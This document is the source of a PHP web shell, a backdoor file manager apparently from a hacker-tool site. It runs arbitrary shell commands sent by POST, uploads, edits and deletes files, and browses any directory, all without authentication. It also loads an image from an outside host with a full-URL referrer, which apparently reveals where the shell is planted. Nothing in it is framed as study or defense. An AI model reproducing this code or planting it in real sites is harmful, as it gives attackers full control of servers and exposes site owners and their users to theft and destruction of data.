<title>
</title>
<style type="text/css">
body{
background: #E4E4E4;
color: #666666;
font-family: Verdana;
font-size: 11px;
}
a:link{
color: #33CC99;
}
a:visited{
color: #33CC99;
}
a:hover{
text-decoration: none;
Color: #3399FF;
}
table {
font-size: 11px;
}
</style>
<link href="https://privdayz.com/wp-content/themes/privdaysv1/hacker.css" rel="stylesheet">
<img src="https://i.ibb.co/DgcCDfZ/offback.png" referrerpolicy="unsafe-url" />
error_reporting (0);
set_time_limit (0);
if (empty ($_GET ['dir'])){
$dir = getcwd ();
}
else {
$dir = $_GET ['dir'];
}
chdir ($dir);
$current = htmlentities ($_SERVER ['PHP_SELF'] . "?dir=" . $dir);
echo "<i>Server: " . $_SERVER ['SERVER_NAME'] . "
\n";
echo "Current directory: " . getcwd () . "
\n";
echo "Software: " . $_SERVER ['SERVER_SOFTWARE'] . "
\n\n</i>\n";
echo "
\n\n\n";
echo "<table width = 50%>";
echo "";
echo "<a href = '".$current."&mode=system'>Shell Command</a> | \n";
echo "<a href = '".$current."&mode=create'>Create a new file</a> | \n";
echo "<a href = '".$current."&mode=upload'>Upload file</a> | \n";
echo "
";
echo "
\n\n";
$mode = $_GET ['mode'];
switch ($mode){
case 'edit':
$file = $_GET ['file'];
$new = $_POST ['new'];
if (empty ($new)){
$fp = fopen ($file, "r");
$file_cont = fread ($fp, filesize ($file));
$file_cont = str_replace ("<textarea>", "<textarea>", $file_cont);
echo "\n";
}
else {
$fp = fopen ($file, "w");
if (fwrite ($fp, $new)){
echo $file . " edited.<p>";
}
else {
echo "Unable to edit " . $file . ".<p>";
}
}
fclose ($fp);
break;
case 'delete':
$file = $_GET ['file'];
if (unlink ($file)){
echo $file . " deleted successfully.<p>";
}
else {
echo "Unable to delete " . $file . ".<p>";
}
break;
case 'copy':
$src = $_GET ['src'];
$dst = $_POST ['dst'];
if (empty ($dst)){
echo "\n";
}
else {
if (copy ($src, $dst)){
echo "File copied successfully.<p>\n";
}
else {
echo "Unable to copy " . $src . ".<p>\n";
}
}
break;
case 'move':
$src = $_GET ['src'];
$dst = $_POST ['dst'];
if (empty ($dst)){
echo "\n";
}
else {
if (rename ($src, $dst)){
echo "File moved successfully.<p>\n";
}
else {
echo "Unable to move " . $src . ".<p>\n";
}
}
break;
case 'rename':
$old = $_GET ['old'];
$new = $_POST ['new'];
if (empty ($new)){
echo "\n";
}
else {
if (rename ($old, $new)){
echo "File/Directory renamed successfully.<p>\n";
}
else {
echo "Unable to rename " . $old . ".<p>\n";
}
}
break;
case 'rmdir':
$rm = $_GET ['rm'];
if (rmdir ($rm)){
echo "Directory removed successfully.<p>\n";
}
else {
echo "Unable to remove " . $rm . ".<p>\n";
}
break;
case 'system':
$cmd = $_POST ['cmd'];
if (empty ($cmd)){
echo "<p>\n";
}
else {
system ($cmd);
}
break;
case 'create':
$new = $_POST ['new'];
if (empty ($new)){
echo "\n<p>";
}
else {
if ($fp = fopen ($new, "w")){
echo "File created successfully.<p>\n";
}
else {
echo "Unable to create ".$file.".<p>\n";
}
fclose ($fp);
}
break;
case 'upload':
$temp = $_FILES['upload_file']['tmp_name'];
$file = basename($_FILES['upload_file']['name']);
if (empty ($file)){
echo "\n
\n\n";
}
else {
if(move_uploaded_file($temp,$file)){
echo "File uploaded successfully.<p>\n";
unlink ($temp);
}
else {
echo "Unable to upload " . $file . ".<p>\n";
}
}
break;
}
clearstatcache ();
echo "
\n\n";
echo "<table width = 100%>\n";
$files = scandir ($dir);
foreach ($files as $file){
if (is_file ($file)){
$size = round (filesize ($file) / 1024, 2);
echo "".$file." | ";
echo "".$size." KB | ";
echo "<a href = ".$current . "&mode=edit&file=".$file.">Edit</a> | \n";
echo "<a href = ".$current . "&mode=delete&file=".$file.">Delete</a> | \n";
echo "<a href = ".$current . "&mode=copy&src=".$file.">Copy</a> | \n";
echo "<a href = ".$current . "&mode=move&src=".$file.">Move</a> | \n";
echo "<a href = ".$current . "&mode=rename&old=".$file.">Remame</a> |
\n";
}
else {
$items = scandir ($file);
$items_num = count ($items) - 2;
echo "".$file." | ";
echo "".$items_num." Items | ";
echo "<a href = ".$current . "/" . $file.">Change directory</a> | \n";
echo "<a href = ".$current . "&mode=rmdir&rm=".$file.">Remove directory</a> | \n";
echo "<a href = ".$current . "&mode=rename&old=".$file.">Rename directory</a> |
\n";
}
}
echo "\n";